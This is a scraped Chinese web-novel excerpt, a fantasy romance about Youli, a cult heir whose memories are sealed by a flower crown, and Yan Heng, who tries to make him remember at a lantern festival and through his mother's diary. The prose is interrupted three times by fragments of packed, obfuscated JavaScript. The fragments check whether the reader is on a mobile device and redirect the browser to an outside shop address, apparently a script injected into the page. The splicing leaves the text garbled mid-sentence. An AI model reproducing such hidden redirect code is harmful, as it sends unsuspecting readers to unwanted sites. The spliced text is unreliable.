宥鲤离开后,议事殿内的气氛依旧紧绷。黑雾在殿中翻涌,像在呼应玄煞压抑的情绪。 琅风缓步上前,单膝跪地,声音低沉:“教主。” 玄煞抬手,示意他起身:“说。” 琅风站直身体,目光如刀:“属下认为,宥鲤教主与严珩的接触,恐怕会带来变数。” 玄煞的指尖轻敲扶手,声音冷得没有温度:“你也看出来了?” “是。”琅风点头,“严珩对宥鲤的执念极深,而宥鲤……似乎对他产生了兴趣。” 玄煞的眼底闪过一丝危险的光:“兴趣?不过是一时新鲜。” “但这‘新鲜’,可能会让他想起不该想起的事。”琅风的语气中带着几分担忧,“属下担心,他的记忆一旦恢复——” “他不会恢复的。”玄煞打断他,声音斩钉截铁,“彼岸花教冠的封印,不会那么容易解开。” 琅风沉默了一瞬,又道:“可严珩不会放弃。” 玄煞的目光落在殿外的黑雾中,像是穿透了时空,看到了五百前的那场血与火。 “我知道。”他低声道,“所以,必须让他放弃。” 琅风抬眼:“需要属下……处理掉他吗?” 玄煞的手指顿了顿,眼底闪过一丝复杂的情绪。片刻后,他缓缓摇头:“不。” “那——” “派人盯着他。”玄煞的声音冷得像冰,“一旦他有任何异动,立刻回报。” “是。”琅风躬身领命。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261168|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 就在他转身准备退下时,玄煞忽然开口:“琅风。” 琅风停下脚步:“属下在。” 玄煞的目光落在他脸上,语气罕见地缓和了几分:“看好宥鲤。” 琅风的眼神微微一凝,随即低声道:“属下明白。” 殿外的风更冷了,黑雾翻涌,像在为即将到来的风暴酝酿力量。 幽冥崖的午后,黑雾比清晨淡了些,阳光透过缝隙洒在彼岸花海上,像是为血色的花海镀上了一层金。 宥鲤穿着那件玄黑镶暗红纹路的长袍,腰间依旧空空荡荡,悠闲地在花海里晃来晃去。他一边走一边随手摘下一朵彼岸花,叼在嘴里。 “唉——”他伸了个懒腰,“这地方真是越来越无聊了。” 裴煦跟在他身后,无奈道:“教主,您刚刚才和玄煞大人吵过架,还是安分点吧。” “安分?”宥鲤翻了个白眼,“那我不如去睡午觉。” 他说着忽然眼睛一亮——前方的竹林小径上,一个熟悉的青衣身影正缓缓走过。 “哟,这不是我们的护法大人吗?”宥鲤笑嘻嘻地跑过去,拦住了琅风的去路。 琅风停下脚步,眉头微不可察地皱了一下:“教主。” “别这么冷淡嘛。”宥鲤围着他转了一圈,上下打量,“我昨天说你勉强算个帅哥,今天仔细一看——” 他凑近,几乎贴着琅风的脸,笑得坏坏的:“——其实挺好看的。” 琅风不动声色地后退半步:“属下还有公务。” “公务哪有陪我玩重要?”宥鲤挑眉,“你陪我聊会儿,我就不缠着你了。” 琅风沉默了一瞬,似乎在权衡利弊。最终,他淡淡道:“说吧。” 宥鲤立刻来了兴致:“你跟在我爹身边多久了?” “很久。” “那你见过我小时候的样子吗?” 琅风的眼神微微一动,却没有回答。 宥鲤眯起眼,像只嗅到猎物的猫:“你在隐瞒什么?” 琅风的语气依旧平淡:“没有。” “骗人。”宥鲤笑得更坏了,“不过没关系,我喜欢有秘密的男人。” 裴煦在一旁听得直捂脸,心想——这位教主是真不怕被玄煞逮到啊。 琅风似乎不想再纠缠,转身准备离开。可宥鲤却忽然伸手拉住了他的衣袖。 “琅风,”宥鲤的声音压低了几分,带着一丝玩味,“你……是不是知道我的过去?” 琅风的背影僵了一瞬。 就在他准备开口时—— “宥鲤!”一个低沉而威严的声音从远处传来。 宥鲤回头,就看到玄煞正大步走来,周身黑雾翻涌。 宥鲤冲琅风眨了眨眼,低声道:“下次再聊。” 然后,他转身迎着玄煞走去,脸上挂着无辜的笑:“爹,你找我?” 玄煞盯着他,声音冷得能结冰:“你又在干什么?” 宥鲤摊手:“找乐子啊。” 玄煞的目光掠过不远处的琅风,眼底闪过一丝危险的光:“我看,你是在找事。” 议事殿的大门“砰”地一声关上,黑雾在殿内翻涌。 玄煞一手拎着宥鲤的后衣领,把他像小猫一样丢到主位旁边的椅子上。 “你很闲?”玄煞的声音低沉,带着压迫感。 宥鲤揉了揉脖子,笑嘻嘻地说:“闲得很。要不我们多招点帅哥进教?养眼又能干活,一举两得。” 玄煞盯着他,似乎在判断他是不是认真的。 宥鲤挑眉:“你看啊,琅风是挺好看的,但一个不够。我觉得护法可以多几个,比如——” “够了。”玄煞冷声打断,“你是教主,不是青楼老板。” 宥鲤摊手:“那你也别老让我开会批公文啊,多无聊。” 玄煞的手指轻敲扶手,声音低沉:“我再说一遍,不许靠近严珩。” 宥鲤翻了个白眼:“你管得真宽。” 两人对视片刻,殿内的空气像要凝固。 忽然,宥鲤笑了:“好吧好吧,不靠近就不靠近。那你答应我,多招点帅哥。” 玄煞沉默了一瞬,居然缓缓点头:“可以。” 宥鲤愣了一下,随即笑得像偷到鱼的猫:“真的?” “真的。”玄煞的目光却渐渐冷下来,“但你要记住——” 他顿了顿,声音低得像夜色里的潮水: “无论你看到谁,都不要试图想起过去。” 宥鲤脸上的笑容,在这一刻,彻底凝固。 黑雾翻涌,殿内陷入死一般的寂静。 73. 十九 几天后,血煞魔教总坛忽然多了不少新面孔。 议事殿外的长廊上,随处可见身形挺拔、面容俊朗的男子,有的身着黑衣,有的披着银甲,甚至连厨房切菜的小哥都长得眉清目秀。 这一切,自然是玄煞“批准”的结果——只不过,他没想到宥鲤会玩得这么嗨。 “哟,新来的护卫哥哥,你叫什么名字?”宥鲤靠在廊柱上,笑得像只偷腥的猫。 那名护卫脸一红,结结巴巴地回答:“属……属下阿澈。” “阿澈啊,”宥鲤眯起眼,“名字好听,人也好看。” 裴煦站在一旁,扶额无奈:“教主,您这样会让他们分心的。” 宥鲤摆摆手:“工作归工作,养眼归养眼,不耽误。” 这时,琅风从长廊另一端走来,看到这一幕,眉峰微不可察地皱了一下。 “护法大人!”宥鲤立刻招手,“你看我这几天招的人,是不是质量都很高?” 琅风淡淡扫了一眼,声音冷得没有温度:“属下只关心他们的实力。” “实力当然有啊,”宥鲤坏笑,“不然我怎么会招?” 琅风没再说话,只是目光在宥鲤脸上停留了一瞬,似乎想从他眼底找出一丝异样。但宥鲤只是笑得灿烂,像什么都没发生过。 自从这些帅哥来了,宥鲤每天都忙得不亦乐乎——不是在训练场“视察”,就是在膳房“慰问”,甚至连会议都能开成选美大会。 至于玄煞那天的警告—— 抱歉,早就被他忘到九霄云外了。 直到某个黄昏,黑雾比往常更浓,幽冥崖上传来一阵低沉的钟声。 裴煦脸色微变:“教主,万归宗……又派人来了。” 宥鲤正和新来的琴师说笑,闻言愣了一下,随即眼睛一亮: “哦?是那个帅哥宗主吗?” 幽冥崖的黄昏,黑雾翻涌,钟声低沉。 严珩踏着暮色而来,手中紧攥着一封密信——关于彼岸花教冠的线索。他的目光坚定,准备亲手交给宥鲤。 可刚走到议事殿外,就被玄煞拦住。 “严宗主,”玄煞的声音冷得像冰,“你又来做什么?” 严珩直视他:“我要见宥鲤。” “没这个必要。”玄煞抬手,黑雾在他掌心翻涌,“这里不欢迎你。” 两人气息交锋,空气中仿佛有火花炸开。 就在这时—— 一阵笑声从殿内传来。 “哎呀,别闹……哈哈,痒死我了——” 严珩和玄煞同时转头。 殿门半掩,透过缝隙可以看到—— 宥鲤正懒洋洋地靠在主位上,左右各坐着一个英俊男子。左边的银甲护卫正替他剥葡萄,右边的白衣琴师则在给他倒酒。宥鲤笑得灿烂,一手搭在护卫肩上,一手把玩着琴师的发带,整个人像在享受一场盛宴。 他完全没注意到门口的两人。 殿外瞬间陷入诡异的沉默。 严珩的手握得更紧,指节泛白。 内心:好吧,就说真的挺生气的。 玄煞侧过脸,嘴角勾起一抹若有若无的笑,低声对严珩道: “看见了?他只要是帅的男人,就喜欢。” 严珩的目光骤冷,声音低得像风暴前的闷雷: “你以为……我会信?” 玄煞笑意更深:“信不信,不重要。重要的是——他现在很快乐。” 殿内,宥鲤的笑声依旧,与殿外的凝重形成鲜明对比。 严珩缓缓抬起眼,目光穿过那道缝隙,落在宥鲤脸上。那眼神里,有怒意,有不甘,还有一丝连他自己都不愿承认的……恐惧。 殿外的空气紧绷到极点,下一刻—— “让开。”严珩的声音冷得像冰。 他猛地推开玄煞,大步闯进殿内。 宥鲤正乐在其中,忽然看到一个白衣身影冲进来,愣了一下:“咦?帅哥宗主?” 严珩没有废话,一把抓住宥鲤的手,将密信塞到他掌心,声音低沉而急切:“看这个。” 宥鲤低头一看,信封口上赫然写着—— 彼岸花教冠 殿内瞬间安静下来。银甲护卫和白衣琴师识趣地退到一旁。 严珩屏息凝视着宥鲤,期待他露出哪怕一丝异样的神情。 然而—— 宥鲤只是扫了一眼,随手将信扔进了旁边的火炉里。 火焰“腾”地一下窜起,将密信吞噬。 “那个破教冠啊,”宥鲤懒洋洋地靠回椅背,语气随意得像在说天气,“我天天戴,有什么好看的。” 严珩的瞳孔骤然收缩,声音低得几乎听不见:“你……天天戴?” 玄煞缓步走进殿内,站在宥鲤身后,手轻轻搭在他的肩上,眼底闪过一丝冷意。 “听到了?”玄煞对严珩道,“他早就不在乎了。” 宥鲤侧过头,冲玄煞笑了笑:“爹,你怎么也在?” 玄煞没有回答,只是收紧了放在宥鲤肩上的手。 严珩死死盯着宥鲤,心底的某个角落被狠狠刺痛。他原以为,只要提到“彼岸花教冠”,宥鲤就会想起什么。可现在—— 宥鲤只是抬手,冲他摆了摆:“帅哥宗主,下次送点有趣的东西来,别送这种无聊的信。” 说完,他转头继续和旁边的琴师说笑,仿佛刚才的一切只是个小插曲。 严珩的手在身侧收紧,指节泛白。 殿内炉火噼啪作响,映得三人的影子拉得很长—— 一个冷漠,一个愤怒,一个全然不知。 夜色笼罩,幽冥崖下的瘴气翻涌,像无数低语在黑暗中游走。 严珩负手而立,白衣在夜色中显得格外孤绝。他的脑海中反复回放着殿内的一幕——宥鲤将密信丢进火炉,笑得漫不经心。 胸口的痛意,几乎让他窒息。 “严宗主。” 一个清冷的声音忽然从身后传来。 严珩转身,看到琅风正站在不远处,青衣在瘴气中若隐若现。 “你跟踪我?”严珩的声音冷得像冰。 琅风摇头:“只是路过。” 严珩的目光如刀:“你是玄煞的人,不必在我面前装模作样。” 琅风沉默片刻,忽然道:“你想知道,彼岸花教冠的真相?” 严珩的呼吸骤然一滞。 “说。” 琅风缓缓开口:“彼岸花教冠,不仅是血煞魔教的象征,更是一件封印之器。当年玄煞大人用它,封印了宥鲤的记忆与部分力量。” “怎么解?”严珩的声音低沉,眼底闪过一丝希望。 琅风看了他一眼,语气平静:“无解。” 严珩的手指骤然收紧:“什么意思?” “彼岸花教冠的封印,是以宥鲤的灵魂为代价的” 琅风的声音冷得没有一丝温度,“除非他死,否则封印不会解除。” 严珩的瞳孔骤缩,整个人如坠冰窟。 “你骗我。”他几乎是低吼出声。 琅风摇头:“我没有必要骗你。你该明白,玄煞大人不会让他想起过去——那会毁了他现在的一切。” “毁了?”严珩冷笑,“现在的他,像个被圈养的宠物!” 琅风的目光微沉:“可他很快乐。” 严珩沉默了。夜色中,他的身影显得格外孤寂。 许久,他低声道:“如果……我强行解开呢?” 琅风的眼神骤冷:“那他会死。” 空气在这一刻凝固。 严珩闭上眼,痛苦与绝望在心底交织。 琅风转身离去,只留下一句低沉的警告: “严宗主,放弃吧。你救不了他。” 瘴气翻涌,将严珩的身影吞没。 他站在原地,一动不动。 心底的某个声音在嘶吼——可我,不能放弃。 夜色沉沉,议事殿内黑雾翻涌。 玄煞坐在主位上,指尖轻敲扶手,目光如刀般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宥鲤不记得了。 他的笑容、他的眼神、他的一切,都被封印在彼岸花教冠之下。 琅风的话,像一把刀,将他最后的希望彻底斩断—— “无解。除非他死。” 严珩停下脚步,抬头望向漆黑的夜空。星辰被云雾遮蔽,看不到一丝光亮。 “我不会放弃。”他的声音低沉而坚定,“就算只有我记得,我也要让你想起。” 风更冷了,山道两旁的树林发出低沉的呼啸声,像是在嘲笑他的固执。 可严珩只是挺直了脊背,继续向前走去。 因为他知道—— 有些记忆,哪怕只有一个人记得,也不能让它死去。 万归宗的山门在夜色中沉默伫立,冷风穿过长廊,灯火摇曳。 严珩踏入宗主殿时,天边已泛起鱼肚白。 他没有去休息,而是径直走到案前,将灯芯拨亮。昏黄的灯光下,案上的卷轴与剑影交错,映出他疲惫却凌厉的面容。 他坐下,手指轻敲桌面,每一次敲击都像在提醒自己——不能忘。 脑海中,宥鲤的笑声与那句“我天天戴”不断交替回响。他闭上眼,试图驱散这些画面,却换来更多记忆的碎片—— 少年时的宥鲤,自己追不上。 血光中的宥鲤,被彼岸花教冠束缚; 还有火光中那句低沉的誓言—— “我不会让你有事的。” 严珩猛地睁开眼,眼底是化不开的冷意与决绝。 他站起身,从墙上取下长剑,剑尖划过地面发出刺耳的声响。 “哪怕只有我记得,”他喃喃道,“我也要让你想起。” 殿外的天色渐渐亮了,晨钟响起,回荡在空寂的山谷间。 严珩没有丝毫睡意,他的眼中燃着不灭的火焰—— 这一夜,他不仅在等待天亮,更在等待一个机会。 74. 二十 血煞魔教大殿深处,黑雾缭绕,彼岸花教旗在殿中猎猎作响。 高台之上,玄煞负手而立,黑袍如夜,目光如刀。他的声音低沉而威严,每一个字都像重锤般敲在众人心头。 殿内,数百教众肃立,鸦雀无声。 宥鲤懒洋洋地坐在玄煞右侧的座位上,头上戴着那顶彼岸花教冠。血红的花瓣纹饰在昏暗的光线下闪着诡异的光,与他一身雪白形成鲜明对比。 他单手托着下巴,另一只手把玩着一枚玉佩,眼神飘忽,似乎完全没在听玄煞的讲话。 玄煞说到关键处,声音陡然一沉:“……自今日起,教中一切要务,须经我与少教主同意方可执行。” 台下众人齐声应诺。 宥鲤只是抬了抬眼皮,嘴角勾起一抹漫不经心的笑,仿佛在看一场与自己无关的戏。 高台另一侧,裴煦执事正伏案疾书,将玄煞的每一句话都记录在案。他的手速极快,笔尖在纸上沙沙作响,却不时抬眼扫向宥鲤,眼底闪过一丝不易察觉的复杂情绪。 玄煞的目光忽然转向宥鲤,淡淡道:“少教主可有补充?” 宥鲤愣了一下,随即笑了笑:“没有,爹说得都对。” 他的语气轻松得像在聊家常,与殿中肃杀的气氛格格不入。台下有人忍不住低头偷笑,却被玄煞的目光一扫,瞬间噤声。 裴煦在记录册上微微一顿,似乎在犹豫是否该把宥鲤的话也写进去,最终还是提笔—— “少教主:无补充。” 大殿深处的钟声缓缓敲响,回荡在每个人的心头。 玄煞的目光重新投向众人,声音如冰:“散会。” 血煞魔教的大殿里,散会的脚步声渐渐远去,黑雾依旧沉沉。 宥鲤伸了个懒腰,摘下彼岸花教冠随手丢在案上,那副懒洋洋的样子与方才大殿上的少教主判若两人。 “真是无聊透顶。”他打了个哈欠,转身就往外走。 殿外的风带着一丝凉意,吹得他精神一振。他一路避开巡逻的教众,很快便溜出了山门。 山下的小镇灯火通明,热闹非凡——原来今晚正是一年一度的灯节。 街道两旁挂满了各式各样的花灯,有龙形的、兔形的、莲花形的,灯影摇曳间,映得人们的笑脸格外温暖。小贩叫卖声、孩童笑声、锣鼓声交织在一起,热闹得像另一个世界。 宥鲤站在人群中,微微眯起眼,看着眼前的景象,嘴角忍不住上扬。 “有意思。” 他随手买了个兔子灯,提着它在人群中穿梭。灯光在他的眼底跳跃,映出几分少年般的天真。 不远处,一群人正围着看舞狮,锣鼓声震天。宥鲤走过去,看得津津有味,完全没注意到人群的另一头—— 一双熟悉的眼睛,正静静地望着他。 灯影摇曳,锣鼓声中,严珩本只是随意走在人群里。 直到—— 他的目光被一抹熟悉的身影吸引。 那人身着一袭白衣,在五彩花灯的映照下显得格外明亮。手中提着一只兔子灯,灯光透过薄纸,在他眉眼间投下温暖的光晕。 宥鲤。 严珩的心猛地一紧,脚步下意识地停住。 他站在人群的另一端,隔着来来往往的行人,静静望着那张既熟悉又陌生的脸。 宥鲤正低头逗着身边一个卖糖葫芦的小女孩,笑容明亮得不像他记忆中的少教主,而像多年前那个在朽清门中回头的少年。 严珩的指尖微微颤抖。 多年的思念与痛苦,在这一刻化作无声的潮水,将他淹没。 他几乎要脱口而出那一声“千浮”,却硬生生忍住。 因为他知道—— 宥鲤已经不记得他了。 锣鼓声、笑声、叫卖声在耳边回荡,可严珩只听到自己急促的心跳。 他看着宥鲤提着兔子灯,在灯火中渐行渐远,仿佛走向另一个他无法触及的世界。 锣鼓声在耳边炸开,人群的笑声此起彼伏。 宥鲤提着兔子灯,忽然停下脚步,像是感应到什么,缓缓转过头—— 视线与严珩对上。 那一瞬间,空气仿佛凝固。 严珩的心跳漏了一拍,下意识想转身避开,可宥鲤已经提着灯,笑意盈盈地朝他走来。 “哟,这不是——严大公子?”宥鲤的声音带着戏谑,眼底却闪着一丝探究,“真巧啊。” 严珩垂眸,尽量让自己的声音听起来平静:“……是很巧。” 宥鲤上下打量他一番,嘴角勾起:“你一个人来灯节?不找个姑娘陪?” 严珩抬眼,目光与他相撞,声音低沉:“你呢?” “我?”宥鲤晃了晃手中的兔子灯,笑得像个调皮的少年,“我在找乐子啊——” 他凑近一步,压低声音,像是在说什么秘密:“没想到,就找到你了。” 严珩的喉结微动,想退开,却被周围的人群挤得更近。 宥鲤的气息带着淡淡的花香,和他记忆中一模一样。 “严大公子,”宥鲤眨了眨眼,“陪我逛逛?” 严珩本想拒绝,可看着那双似笑非笑的眼,拒绝的话却怎么也说不出口。 他只能点了点头。 宥鲤满意地笑了,转身走向灯火更深处,那只兔子灯在他手中轻轻晃动—— 像在黑暗中,为他引路。 灯市的尽头,摆满了各式各样的面具和发饰,彩绸随风摇曳,像在招手。 宥鲤一眼就被吸引,提着兔子灯快步走过去,回头冲严珩扬了扬下巴:“走啊,看看。” 严珩只能跟上。 摊上的面具琳琅满目,有威武的关公、俏皮的狐狸、神秘的白面修罗,还有镶着珠片的花旦面。 宥鲤拿起一个狐狸面具,在自己脸上比了比,眼睛在面具的眼洞里闪着光:“怎么样?好看吗?” 严珩看了他一眼,声音淡淡:“……好看。” “哼,敷衍。”宥鲤撇撇嘴,又拿起一个修罗面具,递到严珩面前,“那这个呢?” 严珩低头接过,目光在面具上停留片刻,却没戴,只轻声道:“不适合我。” “那你适合什么?”宥鲤凑近,声音压低,带着点挑衅,“适合——我这样的?” 他说着,把狐狸面具往严珩脸上一扣。 严珩愣了一下,伸手摘下,却被宥鲤按住手:“别动,让我看看。” 他的手指温热,触到严珩的手背,像有电流窜过。 “……好看。”宥鲤的声音轻了几分,眼神却在严珩的眉眼间停留了很久。 严珩移开目光,把面具放回摊上:“走吧。” “哎,别急啊。”宥鲤又在一旁的发饰摊前停下,挑了一只银色的发簪,在自己耳边比划,“这个怎么样?” “你戴什么都好看。”严珩下意识脱口而出,随即微微一顿,像是被自己吓到。 宥鲤怔了怔,随即笑得狡黠:“严大公子,你这是夸我?” 严珩没接话,只是从摊上拿起一只红色的流苏发饰,递给宥鲤:“这个……很配你。” 宥鲤接过,垂眸看了看,眼底闪过一丝不易察觉的情绪——像是怀念,又像是困惑。 “你怎么知道我喜欢红色?”他轻声问。 严珩的手指微微收紧,却只是淡淡道:“猜的。” “猜的?”宥鲤挑眉,把流苏插在自己的发间,转身对摊主的铜镜照了照,“嗯,确实好看。” 他转过身,冲严珩笑:“那你呢?不买个发饰?” 严珩摇头:“我不需要。” “啧,真无趣。”宥鲤伸手,把那只红色流苏从自己发间取下,踮起脚往严珩的发上一插,“给你戴。” 流苏在严珩乌黑的发间摇曳,衬得他的眉眼更冷更俊。 周围有人忍不住多看了两眼。 严珩伸手想取下,宥鲤却按住他的手道:“别动,就这样,挺好看的。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261170|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 严珩看着他,眼底情绪翻涌,却只是低声道:“……胡闹。” 宥鲤不以为意,转身继续逛。 两人并肩走着,灯笼的光映在他们的脸上,一明一暗。 “严大公子,”宥鲤忽然开口,“你好像……很了解我。” 严珩脚步一顿,没有回头:“你想多了。” “是吗?”宥鲤笑了笑,声音轻得像风,“可为什么……我总觉得,我们以前见过?” 严珩的心猛地一颤,却只是将流苏取下,递回给他:“灯节人多,小心别走丢。” 宥鲤接过,眼底闪过一丝复杂的光,却很快被笑意掩盖:“放心,我不会走丢的——” 他顿了顿,意味深长地补了一句:“至少,今晚不会。” 河岸边人声鼎沸,水面上已经漂着点点灯火,像繁星坠落人间。 宥鲤拉着严珩挤到摊位前,拿起一只白色的河灯,兴致勃勃地问:“写什么?” 严珩看着那只空白的灯面,指尖轻轻摩挲着毛笔,眼底闪过一丝犹豫。 他没有回答,只低头在灯上写下两个字——千浮。 宥鲤探过头去,眨了眨眼:“千……浮?” 严珩微微一顿,随即若无其事地将毛笔递给他:“你写你的。” 宥鲤盯着那两个字看了片刻,眉头微蹙,像是在努力回想什么,可记忆深处却空空如也。 “千浮……”他低声念了一遍,声音里带着一丝说不清的熟悉感,“这是谁?” 严珩只是垂眸,将灯轻轻放入河中,声音轻得几乎被水声淹没:“一个……旧人。” 河面微风拂过,千浮两个字在灯面上微微晃动,烛光映得它们温暖而恍惚。 宥鲤沉默地看着那盏灯随水漂远,不知为何,胸口像是被什么轻轻碰了一下,却抓不住。 他低头在自己的灯上写了一个“宥”字,又犹豫片刻,在旁边添了一个小小的“鲤”。 “我写我自己,”他抬头对严珩笑,“简单明了。” 严珩看着那两个字,唇角几不可察地弯了一下,却没说话。 两人的河灯在水面上一前一后漂远,烛光被夜色吞没,却依旧在黑暗中闪烁着微弱的光。 宥鲤忽然问:“严大公子,你说——灯会一直漂到哪里?” 严珩望着远处的灯火,声音低沉:“漂到……记得它的地方。” 宥鲤没听懂,只是笑了笑,转身去看岸边的烟花。 可严珩的目光,却一直追着那盏写着“千浮”的灯,直到它消失在夜色深处。 烟花骤然在夜空中绽放,金色的光雨倾泻而下,将河面照得一片明亮。 宥鲤仰着头,看得正出神,突然—— 一阵尖锐的疼痛从太阳穴炸开,像有无数细针扎进脑海。 “唔——”他闷哼一声,下意识扶住额头,兔子灯险些脱手。 严珩察觉不对,立刻上前扶住他:“怎么了?” 宥鲤的眼前闪过一幕幕破碎的画面—— 火光、彼岸花、血色的花瓣从天而降,还有一个模糊的声音,在耳边低语: “千浮,别怕。” 那声音温柔又坚定,像在黑暗中伸出的手。 宥鲤的呼吸急促起来,胸口像被什么揪住,记忆的潮水一波波冲击着他的意识——却总在即将抓住时,被无形的力量拉回。 “我……我好像……”他喃喃着,眼神空茫。 严珩看着他,心底既紧张又期待,声音低得几乎要融进烟花声里:“你想起什么了吗?” 宥鲤闭了闭眼,再次睁开时,眼中的迷茫已被强压下去,他摇了摇头:“没什么……可能是累了。” 可他的手,却在微微颤抖。 严珩没再追问,只是伸手,轻轻替他理了理鬓边的发。 烟花一朵朵盛开又消散,夜色重新归于沉寂。 宥鲤垂下眼,不知为何,耳边总回荡着那两个字—— 千浮。 75. 二十一 半夜,魔教大殿一片寂静。 宥鲤躺在床上,彼岸花教冠放在枕边。烛火摇曳间,他渐渐坠入梦境—— 午后的风带着雪后的凉意,吹得街上纸灯笼轻轻摇晃。 他抱着药包从药铺出来,被隔壁书铺的招牌吸引——“万籍斋——今日新到画本”。 书铺里暖烘烘的,纸墨香混着檀香。 他本想找剑法图谱,却在角落看见一个熟悉的背影—— 严珩。 那人背对门口,翻着一本画本,唇角带着若有若无的笑。 宥鲤的目光不经意落在封面上——“千浮”。 他走近,才看清画中白衣男子正是自己,对面红衣男子姿态暧昧,手指轻触他的下颌。 “你在看什么?”宥鲤一把夺过画本,冷声质问。 严珩笑:“春宫画本啊,定制款,照着你我画的。” “胡闹!”宥鲤转身就走,却被地毯绊倒。 严珩伸手将他抱住,两人的呼吸近在咫尺。 宥鲤推开他,耳根泛红。 严珩看着他,笑意更深:“宥师兄,你脸红了。” 他快步离开,怀里却仍紧紧抱着那本画本。 —— 清朽门山门前,雪已停,阳光照在“禁止贺兼和狗进入”的木牌上。 宥鲤低头看着怀里的画本,想扔,却迟迟未松手。 背后传来熟悉的声音:“舍不得扔?” 他转身,看见严珩提着一袋桂花酥走来,笑意温柔。 梦境到这里戛然而止。 宥鲤猛地睁开眼,心口剧烈起伏,耳边似乎还回荡着那句—— “千浮。” 宥鲤猛地从梦中惊醒,胸口剧烈起伏,指尖还带着梦里那本画本的触感。窗外夜色沉沉,魔教的殿宇在月光下像一头蛰伏的兽。 他翻身下床,不知为何,脚步不由自主地走向书案。抽屉里静静躺着一个陈旧的木匣,漆面已经剥落,仿佛尘封了多年的秘密。 他迟疑片刻,还是伸手将木匣打开。 里面不是他想象中的画本,而是一本泛黄的日记,封皮上写着三个字——情柳手札。 宥鲤的指尖微微一颤。 他坐在案前,翻开第一页。 —— 【情柳手札·节选】 我生在宥家,是最小的小姐。上有三个哥哥,父母宠得无法无天。那时的我,天真得以为世间万物都能如我所愿。 我从小便喜欢好看的人,不论男女。府里的丫鬟若生得清秀,我便拉着她一起睡;街上遇到俊朗的书生,我会故意走慢两步,多看几眼。哥哥们笑我“好色”,我却不以为意——爱美之心,人皆有之,为何要藏着掖着? 我还记得第一次见到阿玄,是在花宴上。 那日春光明媚,百花齐放。我在人群中一眼便看见他——黑袍曳地,眉目如刀刻般凌厉,却在看向我的那一瞬间,锋利化作了温柔。 他走到我面前,低声道:“宥小姐,可否借一步说话?” 我本不该与陌生男子单独相处,可不知为何,我竟点了头。 他带我去了湖边。春风拂过,柳絮纷飞。阿玄站在柳荫下,说他叫煞玄,是个商人。我信了。那时的我,只看到他眼中的光,却没看到光背后的阴影。 后来,他常来宥府送些稀奇古怪的玩意儿——西域的琉璃、南海的珍珠、甚至是我最爱的桂花酥。我渐渐习惯了他的存在,也渐渐……想多见他。 可宥家是名门世家,怎会容我与一个来历不明的男人来往?父亲警告我,母亲劝我,哥哥们甚至扬言要打断他的腿。 我却越发叛逆。你越不让我做的事,我偏要做。 直到有一天,我在集市上看见他与一个白衣男子并肩而行。那男子生得极美,却笑得漫不经心,眼底透着一股危险的气息。 我躲在茶摊后,听见他们的对话。 “教主,您真打算娶宥家小姐?”白衣男子问。 阿玄——不,煞玄——淡淡道:“她是我要的人。” 教主? 我如遭雷击。宥家与魔教势不两立,我若嫁给他,便是宥家的叛徒。 可我没有立刻离开。不知是因为贪恋他的温柔,还是因为那白衣男子的眼神让我莫名心悸,我竟想知道更多。 后来,我又在不同的场合看见他与那白衣男子在一起,有时还有几个黑衣人相随。他们说话时从不避讳我,仿佛笃定我不会说出去。 我开始怀疑,阿玄接近我,究竟是因为爱,还是因为宥家的势力。 直到某个雨夜,父亲被人暗杀,凶手没有留下任何线索。母亲哭得几近昏厥,哥哥们四处追查,却一无所获。 我在灵堂前看见阿玄。他站在阴影里,眼神深得像一潭水。 我想问他,是不是他干的。可话到嘴边,却变成了——“你会娶我吗?” 他看着我,沉默良久,才缓缓点头。 那一刻,我不知是该哭还是该笑。 —— 宥鲤读到这里,手指死死捏住纸页,指节泛白。 母亲的字迹娟秀,却在字里行间透着一种近乎偏执的执念。她承认自己“好色”,承认叛逆,也承认在父亲遇刺的阴影下,仍选择与煞玄绑定在一起。 可宥鲤更在意的,是那个白衣男子——和煞玄口中的“教主”身份。 这与他所知的煞玄——那个后来疯魔、血洗武林的魔教教主——似乎有出入。母亲的日记里,煞玄虽神秘,却并非一开始就露出獠牙。 那父亲的死,真的与煞玄有关吗?母亲明知他身份可疑,为何还要嫁给他? 而那个白衣男子……会不会就是梦里的“琅风”? 宥鲤感到一阵眩晕,脑海里的碎片开始胡乱拼接——灯节上的“千浮”、梦里的画本、母亲的日记…… 所有线索都指向一个方向,却又在最后一刻模糊不清。 他合上日记,指尖仍在微微颤抖。窗外,风吹动殿宇的檐铃,发出清脆的声响。 宥鲤缓缓抬头,眼底闪过一丝决意。 他要查清楚——关于母亲,关于煞玄,关于“千浮”,还有他自己。 天色微亮,魔教的晨雾像一层薄纱笼罩着殿宇。 宥鲤将那本《情柳手札》小心地包在布中,藏进怀里。他避开巡夜的教众,脚步轻快却不失谨慎,直奔长老殿。 长老殿外,古松如墨,石径蜿蜒。殿门半掩,里面传来翻书的沙沙声。 宥鲤正要推门,却听身后传来一声低沉的喝斥—— “宥鲤。” 他的脊背瞬间僵住。 那声音冷得像冰,带着不容置疑的威压。 他缓缓转身—— 玄煞站在晨光与阴影的交界处,黑袍猎猎,眉目如刀。那双眼睛像是能穿透人心,直直落在他怀里的布包上。 “你怀里,是什么?”玄煞的声音不高,却让空气都凝固了。 宥鲤下意识地将手收紧,声音平淡:“没什么。” 